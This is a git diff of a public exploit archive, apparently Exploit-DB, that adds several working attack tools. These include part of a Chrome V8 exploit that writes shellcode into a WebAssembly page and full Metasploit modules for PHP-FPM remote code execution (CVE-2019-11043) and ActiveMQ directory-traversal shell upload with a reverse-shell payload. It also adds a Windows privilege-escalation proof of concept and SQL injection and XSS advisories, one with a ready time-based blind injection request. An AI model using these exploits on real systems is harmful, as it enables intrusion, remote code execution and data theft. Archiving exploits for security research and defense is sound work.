+ main(empty); + + // Function would be jit compiled now. + main(p); + + print(`Corrupted length of float_rel array = ${float_rel.length}`); +} + +function get_arw() { + get_compressed_rw(); + print('should be 0x2: ' + hex(crel_read4(0x15))); + let previous_elements = crel_read4(0x14); + //print(hex(previous_elements)); + //print(hex(cabs_read4(previous_elements))); + //print(hex(cabs_read4(previous_elements + 4n))); + cabs_write4(previous_elements, 0x66554433n); + //print(hex(cabs_read4(previous_elements))); + //print(hex(cabs_read4(previous_elements + 4n))); + + print('addrof(float_rel): ' + hex(addrof(float_rel))); + uint64_aarw[0] = 0x4142434445464748n; +} + +function rce() { + function get_wasm_func() { + var importObject = { + imports: { imported_func: arg => print(arg) } + }; + bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; + wasm_code = new Uint8Array(bc); + wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); + return wasm_mod.exports.exported_func; + } + + let wasm_func = get_wasm_func(); + // traverse the JSFunction object chain to find the RWX WebAssembly code page + let wasm_func_addr = addrof(wasm_func); + let sfi = cabs_read4(wasm_func_addr + 12n) - 1n; + print('sfi: ' + hex(sfi)); + let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n; + print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData)); + + let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n; + print('instance: ' + hex(instance)); + + let wasm_rwx_addr = cabs_read8(instance + 0x68n); + print('wasm_rwx_addr: ' + hex(wasm_rwx_addr)); + + // write the shellcode to the RWX page + while(shellcode.length % 4 != 0){ + shellcode += "\u9090"; + } + + let sc = []; + + // convert the shellcode to BigInt + for (let i = 0; i < shellcode.length; i += 4) { + sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000)); + } + + writeShellcode(wasm_rwx_addr,sc); + + print('success'); + wasm_func(); +} + + +function exp() { + get_arw(); + rce(); +} + +exp(); +^ + + if datastore['DEBUG_EXPLOIT'] + debugjs = %Q^ +print = function(arg) { + var request = new XMLHttpRequest(); + request.open("POST", "/print", false); + request.send("" + arg); +}; +^ + jscript = "#{debugjs}#{jscript}" + else + jscript.gsub!(/\/\/.*$/, '') # strip comments + jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); + end + + html = %Q^ + + + + + + + + ^ + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) + end + +end \ No newline at end of file diff --git a/exploits/multiple/webapps/47062.py b/exploits/multiple/webapps/47062.py index 318c3b944..897ff3b13 100755 --- a/exploits/multiple/webapps/47062.py +++ b/exploits/multiple/webapps/47062.py @@ -1,6 +1,6 @@ # Exploit Title: Sahi pro (8.x) Directory traversal -# Date: 25/06/2019 -# Exploit Author: Alexander Bluestein +# Date: 2019-06-25 +# Exploit Author: Operat0r # Vendor Homepage: https://sahipro.com/ # Software Link: https://sahipro.com/downloads-archive/ # Version: 8.0 diff --git a/exploits/php/remote/48182.rb b/exploits/php/remote/48182.rb new file mode 100755 index 000000000..f0a44c2cd --- /dev/null +++ b/exploits/php/remote/48182.rb @@ -0,0 +1,436 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PHP-FPM Underflow RCE', + 'Description' => %q( + This module exploits an underflow vulnerability in versions 7.1.x + below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on + Nginx. Only servers with certains Nginx + PHP-FPM configurations are + exploitable. This is a port of the original neex's exploit code (see + refs.). First, it detects the correct parameters (Query String Length + and custom header length) needed to trigger code execution. This step + determines if the target is actually vulnerable (Check method). Then, + the exploit sets a series of PHP INI directives to create a file + locally on the target, which enables code execution through a query + string parameter. This is used to execute normal payload stagers. + Finally, this module does some cleanup by killing local PHP-FPM + workers (those are spawned automatically once killed) and removing + the created local file. + ), + 'Author' => [ + 'neex', # (Emil Lerner) Discovery and original exploit code + 'cdelafuente-r7' # This module + ], + 'References' => + [ + ['CVE', '2019-11043'], + ['EDB', '47553'], + ['URL', 'https://github.com/neex/phuip-fpizdam'], + ['URL', 'https://bugs.php.net/bug.php?id=78599'], + ['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html'] + ], + 'DisclosureDate' => "2019-10-22", + 'License' => MSF_LICENSE, + 'Payload' => { + 'BadChars' => "&>\' " + }, + 'Targets' => [ + [ + 'PHP', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Payload' => { + 'PrependEncoder' => "php -r \"", + 'AppendEncoder' => "\"" + } + } + ], + [ + 'Shell Command', { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_RESTARTS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php']) + ]) + + register_advanced_options([ + OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]), + OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]), + OptInt.new('QSLHint', [false, 'Query string length hint']), + OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]), + OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]), + OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]), + OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]), + OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']), + OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]), + OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20]) + ]) + @filename = rand_text_alpha(1) + @http_param = rand_text_alpha(1) + end + + CHECK_COMMAND = "which which" + SUCCESS_PATTERN = "/bin/which" + + class DetectMethod + attr_reader :php_option_enable, :php_option_disable + + def initialize(php_option_enable:, php_option_disable:, check_cb:) + @php_option_enable = php_option_enable + @php_option_disable = php_option_disable + @check_cb = check_cb + end + + def php_option_enabled?(res) + !!@check_cb.call(res) + end + end + + def self.detect_methods + { + 'session.auto_start' => DetectMethod.new( + php_option_enable: 'session.auto_start=1', + php_option_disable: 'session.auto_start=0', + check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ } + ), + 'output_handler.md5' => DetectMethod.new( + php_option_enable: 'output_handler=md5', + php_option_disable: 'output_handler=NULL', + check_cb: ->(res) { res.body.length == 16 } + ) + } + end + + def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true) + uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'}) + qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length + if qsl_delta.odd? + fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}" + end + prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26" + qsl_prime = qsl - qsl_delta/2 - prefix.length + if qsl_prime < 0 + fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}" + end + uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}" + opts = { + 'method' => 'GET', + 'uri' => uri, + 'headers' => { + 'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}", + 'Nuut' => Rex::Text.rand_text_alphanumeric(11) + } + } + actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0 + actual_timeout ||= 20 + + connect(opts) if client.nil? || !client.conn? + # By default, try to reuse an existing connection (persist option). + res = client.send_recv(client.request_raw(opts), actual_timeout, true) + if res.nil? && allow_retry + # The server closed the connection, resend without 'persist', which forces + # reconnecting. This could happen if the connection is reused too much time. + # Nginx will automatically close a keepalive connection after 100 requests + # by default or whatever value is set by the 'keepalive_requests' option. + res = client.send_recv(client.request_raw(opts), actual_timeout) + end + res + end + + def repeat_operation(op, opts={}) + datastore['OperationMaxRetries'].times do |i| + vprint_status("#{op}: try ##{i+1}") + res = opts.empty? ? send(op) : send(op, opts) + return res if res + end + nil + end + + def extend_qsl_list(qsl_candidates) + qsl_candidates.each_with_object([]) do |qsl, extended_qsl| + (0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta| + extended_qsl << qsl - delta + end + end.sort.uniq + end + + def sanity_check? + datastore['OperationMaxRetries'].times do + res = send_crafted_request( + path: "/PHP\nSOSAT", + qsl: datastore['MaxQSL'], + customh_length: datastore['MaxCustomHeaderLength'] + ) + unless res + vprint_error("Error during sanity check") + return false + end + if res.code != @base_status + vprint_error( + "Invalid status code: #{res.code} (must be #{@base_status}). "\ + "Maybe \".php\" suffix is required?" + ) + return false + end + detect_method = self.class.detect_methods[datastore['DetectMethod']] + if detect_method.php_option_enabled?(res) + vprint_error( + "Detection method '#{datastore['DetectMethod']}' won't work since "\ + "the PHP option has already been set on the target. Try another one" + ) + return false + end + end + return true + end + + def set_php_setting(php_setting:, qsl:, customh_length:, cmd: '') + res = nil + path = "/PHP_VALUE\n#{php_setting}" + pos_offset = 34 + if path.length > pos_offset + vprint_error( + "The path size (#{path.length} bytes) is larger than the allowed size "\ + "(#{pos_offset} bytes). Choose a shorter php.ini value (current: '#{php_setting}')") + return nil + end + path += ';' * (pos_offset - path.length) + res = send_crafted_request( + path: path, + qsl: qsl, + customh_length: customh_length, + cmd: cmd + ) + unless res + vprint_error("error while setting #{php_setting} for qsl=#{qsl}, customh_length=#{customh_length}") + end + return res + end + + def send_params_detection(qsl_candidates:, customh_length:, detect_method:) + php_setting = detect_method.php_option_enable + vprint_status("Iterating until the PHP option is enabled (#{php_setting})...") + customh_lengths = customh_length ? [customh_length] : (1..datastore['MaxCustomHeaderLength']).to_a + qsl_candidates.product(customh_lengths) do |qsl, c_length| + res = set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) + unless res + vprint_error("Error for qsl=#{qsl}, customh_length=#{c_length}") + return nil + end + if res.code != @base_status + vprint_status("Status code #{res.code} for qsl=#{qsl}, customh_length=#{c_length}") + end + if detect_method.php_option_enabled?(res) + php_setting = detect_method.php_option_disable + vprint_status("Attack params found, disabling PHP option (#{php_setting})...") + set_php_setting(php_setting: php_setting, qsl: qsl, customh_length: c_length) + return { qsl: qsl, customh_length: c_length } + end + end + return nil + end + + def detect_params(qsl_candidates) + customh_length = nil + if datastore['CustomHeaderLengthHint'] + vprint_status( + "Using custom header length hint for max length (customh_length="\ + "#{datastore['CustomHeaderLengthHint']})" + ) + customh_length = datastore['CustomHeaderLengthHint'] + end + detect_method = self.class.detect_methods[datastore['DetectMethod']] + return repeat_operation( + :send_params_detection, + qsl_candidates: qsl_candidates, + customh_length: customh_length, + detect_method: detect_method + ) + end + + def send_attack_chain + [ + "short_open_tag=1", + "html_errors=0", + "include_path=/tmp", + "auto_prepend_file=#{@filename}", + "log_errors=1", + "error_reporting=2", + "error_log=/tmp/#{@filename}", + "extension_dir=\"\"" + ].each do |php_setting| + vprint_status("Sending php.ini setting: #{php_setting}") + res = set_php_setting( + php_setting: php_setting, + qsl: @params[:qsl], + customh_length: @params[:customh_length], + cmd: "/bin/sh -c '#{CHECK_COMMAND}'" + ) + if res + return res if res.body.include?(SUCCESS_PATTERN) + else + print_error("Error when setting #{php_setting}") + return nil + end + end + return nil + end + + def send_payload + disconnect(client) if client&.conn? + send_crafted_request( + path: '/', + qsl: @params[:qsl], + customh_length: @params[:customh_length], + cmd: payload.encoded, + allow_retry: false + ) + Rex.sleep(1) + return session_created? ? true : nil + end + + def send_backdoor_cleanup + cleanup_command = ";echo ''>/tmp/#{@filename}" + res = send_crafted_request( + path: '/', + qsl: @params[:qsl], + customh_length: @params[:customh_length], + cmd: cleanup_command + ';' + CHECK_COMMAND + ) + return res if res&.body.include?(SUCCESS_PATTERN) + return nil + end + + def detect_qsl + qsl_candidates = [] + (datastore['MinQSL']..datastore['MaxQSL']).step(datastore['QSLDetectStep']) do |qsl| + res = send_crafted_request(path: "/PHP\nabcdefghijklmopqrstuv.php", qsl: qsl) + unless res + vprint_error("Error when sending query with QSL=#{qsl}") + next + end + if res.code != @base_status + vprint_status("Status code #{res.code} for qsl=#{qsl}, adding as a candidate") + qsl_candidates << qsl + end + end + qsl_candidates + end + + def check + print_status("Sending baseline query...") + res = send_crafted_request(path: "/path\ninfo.php") + return CheckCode::Unknown("Error when sending baseline query") unless res + @base_status = res.code + vprint_status("Base status code is #{@base_status}") + + if datastore['QSLHint'] + print_status("Skipping qsl detection, using hint (qsl=#{datastore['QSLHint']})") + qsl_candidates = [datastore['QSLHint']] + else + print_status("Detecting QSL...") + qsl_candidates = detect_qsl + end + if qsl_candidates.empty? + return CheckCode::Detected("No qsl candidates found, not vulnerable or something went wrong") + end + if qsl_candidates.size > datastore['MaxQSLCandidates'] + return CheckCode::Detected("Too many qsl candidates found, looks like I got banned") + end + + print_good("The target is probably vulnerable. Possible QSLs: #{qsl_candidates}") + + qsl_candidates = extend_qsl_list(qsl_candidates) + vprint_status("Extended QSL list: #{qsl_candidates}") + + print_status("Doing sanity check...") + return CheckCode::Detected('Sanity check failed') unless sanity_check? + + print_status("Detecting attack parameters...") + @params = detect_params(qsl_candidates) + return CheckCode::Detected('Unable to detect parameters') unless @params + + print_good("Parameters found: QSL=#{@params[:qsl]}, customh_length=#{@params[:customh_length]}") + print_good("Target is vulnerable!") + CheckCode::Vulnerable + ensure + disconnect(client) if client&.conn? + end + + def exploit + unless check == CheckCode::Vulnerable + fail_with Failure::NotVulnerable, 'Target is not vulnerable.' + end + if @params[:qsl].nil? || @params[:customh_length].nil? + fail_with Failure::NotVulnerable, 'Attack parameters not found' + end + + print_status("Performing attack using php.ini settings...") + if repeat_operation(:send_attack_chain) + print_good("Success! Was able to execute a command by appending '#{CHECK_COMMAND}'") + else + fail_with Failure::Unknown, 'Failed to send the attack chain' + end + + print_status("Trying to cleanup /tmp/#{@filename}...") + if repeat_operation(:send_backdoor_cleanup) + print_good('Cleanup done!') + end + + print_status("Sending payload...") + repeat_operation(:send_payload) + end + + def send_cleanup(cleanup_cmd:) + res = send_crafted_request( + path: '/', + qsl: @params[:qsl], + customh_length: @params[:customh_length], + cmd: cleanup_cmd + ) + return res if res && res.code != @base_status + return nil + end + + def cleanup + return unless successful + kill_workers = 'for p in `pidof php-fpm`; do kill -9 $p;done' + rm = "rm -f /tmp/#{@filename}" + cleanup_cmd = kill_workers + ';' + rm + disconnect(client) if client&.conn? + print_status("Remove /tmp/#{@filename} and kill workers...") + if repeat_operation(:send_cleanup, cleanup_cmd: cleanup_cmd) + print_good("Done!") + else + print_bad( + "Could not cleanup. Run these commands before terminating the session: "\ + "#{kill_workers}; #{rm}" + ) + end + end +end \ No newline at end of file diff --git a/exploits/php/webapps/48177.txt b/exploits/php/webapps/48177.txt new file mode 100644 index 000000000..e523d7736 --- /dev/null +++ b/exploits/php/webapps/48177.txt @@ -0,0 +1,67 @@ +# Exploit Title: 60CycleCMS 2.5.2 - 'news.php' SQL Injection +# Google Dork: N/A +# Date: 2020-03-07 +# Exploit Author: Unkn0wn +# Vendor Homepage: http://davidvg.com/ +# Software Link: https://www.opensourcecms.com/60cyclecms +# Version: 2.5.2 +# Tested on: Ubuntu +# CVE : N/A +--------------------------------------------------------- + +SQL Injection vulnerability: +---------------------------- +in file /common/lib.php Line 64 -73 +* +function getCommentsLine($title) +{ +=09$title =3D addslashes($title); +=09$query =3D "SELECT `timestamp` FROM `comments` WHERE entry_id=3D '$title= +'"; +=09// query MySQL server +=09$result=3Dmysql_query($query) or die("MySQL Query fail: $query");=09 +=09$numComments =3D mysql_num_rows($result); +=09$encTitle =3D urlencode($title); +=09return '' . $num= +Comments . ' comments';=09 +} +lib.php line 44: +* +=09$query =3D "SELECT `timestamp`,`author`,`text` FROM `comments` WHERE `en= +try_id` =3D'$title' ORDER BY `timestamp` ASC"; + +* +* +news.php line 3: +* +require 'common/lib.php'; +*=20 +Then in line 15 return query us: +* +$query =3D "SELECT MAX(`timestamp`) FROM `entries +* + +http://127.0.0.1/news.php?title=3D$postName[SQL Injection] +---------------------------- +Cross Site-Scripting vulnerability: +File news.php in line: 136-138 : +* +$ltsu =3D $_GET["ltsu"]; +$etsu =3D $_GET["etsu"]; +$post =3D $_GET["post"]; +* +get payload us and printEnerty.php file in line 26-27: +* +Older= + >'; +Oldest &g= +t;>|';=20 +* + +print it for us! +http://127.0.0.1/index.php?etsu=3D[XSS Payloads] +http://127.0.0.1/index.php?ltsu=3D[XSS Payloads] +---------------------------------------------------------- + +# @ 2010 - 2020 +# Underground Researcher \ No newline at end of file diff --git a/exploits/php/webapps/48179.txt b/exploits/php/webapps/48179.txt new file mode 100644 index 000000000..39551f06f --- /dev/null +++ b/exploits/php/webapps/48179.txt @@ -0,0 +1,45 @@ +# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection +# Exploit Author: minhnb +# Website: +# Date: 2020-03-06 +# Google Dork: N/A +# Vendor: http://www.sapplica.com +# Software Link: http://www.sentrifugo.com/download +# Affected Version: 3.2 and possibly before +# Patched Version: unpatched +# Category: Web Application +# Platform: PHP +# Tested on: Win10x64 & Kali Linux +# CVE: N/A + +# 1. Technical Description: +# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid +# parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource. +# This allows a user of the application without permissions to read sensitive information from +# the database used by the application. + +# 2. Proof Of Concept (PoC): + +POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1 +Content-Type: application/x-www-form-urlencoded +X-Requested-With: XMLHttpRequest +Referer: http://localhost/sentrifugo/index.php +Connection: keep-alive +Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh +Accept: */* +Accept-Encoding: gzip,deflate +Content-Length: 98 +Host: localhost +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 + +Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save + + +# 3. Payload: + +Parameter: id (POST) + Type: time-based blind + Title: MySQL >= 5.0 time-based blind - Parameter replace + Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save + +# 4. Reference: \ No newline at end of file diff --git a/exploits/windows/local/48180.cpp b/exploits/windows/local/48180.cpp new file mode 100644 index 000000000..ca2a0d679 --- /dev/null +++ b/exploits/windows/local/48180.cpp @@ -0,0 +1,59 @@ +#include +#include + +extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); + +int main() { + HINSTANCE hInstance = GetModuleHandle(NULL); + + WNDCLASSEX wcx; + ZeroMemory(&wcx, sizeof(wcx)); + wcx.hInstance = hInstance; + wcx.cbSize = sizeof(wcx); + wcx.lpszClassName = L"SploitWnd"; + wcx.lpfnWndProc = DefWindowProc; + wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 + + printf("[*] Registering window\n"); + ATOM wndAtom = RegisterClassEx(&wcx); + if (wndAtom == INVALID_ATOM) { + printf("[-] Failed registering SploitWnd window class\n"); + exit(-1); + } + + printf("[*] Creating instance of this window\n"); + HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); + if (sploitWnd == INVALID_HANDLE_VALUE) { + printf("[-] Failed to create SploitWnd window\n"); + exit(-1); + } + + printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); + NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); + + printf("[*] Allocate memory to be used for corruption\n"); + PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + printf("\tptr: %p\n", mem); + PBYTE byteView = (PBYTE)mem; + byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow + + //pass DrawSwitchWndHilite double dereference + PVOID* ulongView = (PVOID*)mem; + ulongView[0x20 / sizeof(PVOID)] = mem; + + printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); + SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem); + printf("[*] GetLastError = %x\n", GetLastError()); + + printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); + HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); + + printf("[*] Simulating alt key press\n"); + BYTE keyState[256]; + GetKeyboardState(keyState); + keyState[VK_MENU] |= 0x80; + SetKeyboardState(keyState); + + printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); + NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); +} \ No newline at end of file diff --git a/exploits/windows/remote/48181.rb b/exploits/windows/remote/48181.rb new file mode 100755 index 000000000..88a704c36 --- /dev/null +++ b/exploits/windows/remote/48181.rb @@ -0,0 +1,129 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload', + 'Description' => %q{ + This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache + ActiveMQ 5.x before 5.11.2 for Windows. + + The module tries to upload a JSP payload to the /admin directory via the traversal + path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ + credentials admin:admin (or other credentials provided by the user). It then issues + an HTTP GET request to /admin/.jsp on the target in order to trigger the + payload and obtain a shell. + }, + 'Author' => + [ + 'David Jorm', # Discovery and exploit + 'Erik Wynter' # @wyntererik - Metasploit + ], + 'References' => + [ + [ 'CVE', '2015-1830' ], + [ 'EDB', '40857'], + [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ] + ], + 'Privileged' => false, + 'Platform' => %w{ win }, + 'Targets' => + [ + [ 'Windows Java', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'win' + } + ], + ], + 'DisclosureDate' => '2015-08-19', + 'License' => MSF_LICENSE, + 'DefaultOptions' => { + 'RPORT' => 8161, + 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' + }, + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), + OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']), + OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']) + ]) + end + + def check + print_status("Running check...") + testfile = Rex::Text::rand_text_alpha(10) + testcontent = Rex::Text::rand_text_alpha(10) + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), + 'headers' => { + 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }, + 'method' => 'PUT', + 'data' => "<% out.println(\"#{testcontent}\");%>" + }) + + res1 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), + 'headers' => { + 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }, + 'method' => 'GET' + }) + + if res1 && res1.body.include?(testcontent) + send_request_cgi( + opts = { + 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), + 'headers' => { + 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }, + 'method' => 'DELETE' + }, + timeout = 1 + ) + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + print_status("Uploading payload...") + testfile = Rex::Text::rand_text_alpha(10) + vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails. + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), + 'headers' => { + 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }, + 'method' => 'PUT', + 'data' => payload.encoded + }) + + print_status("Payload sent. Attempting to execute the payload.") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), + 'headers' => { + 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }, + 'method' => 'GET' + }) + if res && res.code == 200 + print_good("Payload executed!") + else + fail_with(Failure::PayloadFailed, "Failed to execute the payload") + end + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 1321aade6..592411073 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -10984,6 +10984,8 @@ id,file,description,date,author,type,platform,port 48172,exploits/windows/local/48172.txt,"SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path",2020-03-06,"Alejandro Reyes",local,windows, 48173,exploits/windows/local/48173.txt,"ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path",2020-03-06,"Oscar Flores",local,windows, 48174,exploits/windows/local/48174.txt,"Deep Instinct Windows Agent 1.2.29.0 - 'DeepMgmtService' Unquoted Service Path",2020-03-06,"Oscar Flores",local,windows, +48180,exploits/windows/local/48180.cpp,"Microsoft Windows - 'WizardOpium' Local Privilege Escalation",2020-03-03,piotrflorczyk,local,windows, +48185,exploits/linux/local/48185.rb,"OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)",2020-03-09,Metasploit,local,linux, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -18029,6 +18031,11 @@ id,file,description,date,author,type,platform,port 48168,exploits/windows/remote/48168.rb,"Exchange Control Panel - Viewstate Deserialization (Metasploit)",2020-03-05,Metasploit,remote,windows,443 48169,exploits/multiple/remote/48169.rb,"EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)",2020-03-05,Metasploit,remote,multiple, 48170,exploits/linux/remote/48170.py,"netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution",2020-03-02,Immunity,remote,linux, +48181,exploits/windows/remote/48181.rb,"Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit)",2020-03-09,Metasploit,remote,windows, +48182,exploits/php/remote/48182.rb,"PHP-FPM - Underflow Remote Code Execution (Metasploit)",2020-03-09,Metasploit,remote,php, +48183,exploits/multiple/remote/48183.rb,"Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)",2020-03-09,Metasploit,remote,multiple, +48184,exploits/multiple/remote/48184.rb,"Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit)",2020-03-09,Metasploit,remote,multiple, +48186,exploits/multiple/remote/48186.rb,"Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)",2020-03-09,Metasploit,remote,multiple, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -41839,7 +41846,8 @@ id,file,description,date,author,type,platform,port 46669,exploits/linux/webapps/46669.txt,"CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting",2019-04-08,DKM,webapps,linux, 46671,exploits/php/webapps/46671.txt,"Tradebox CryptoCurrency - 'symbol' SQL Injection",2019-04-08,"Abdullah Çelebi",webapps,php,80 46672,exploits/php/webapps/46672.js,"WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit 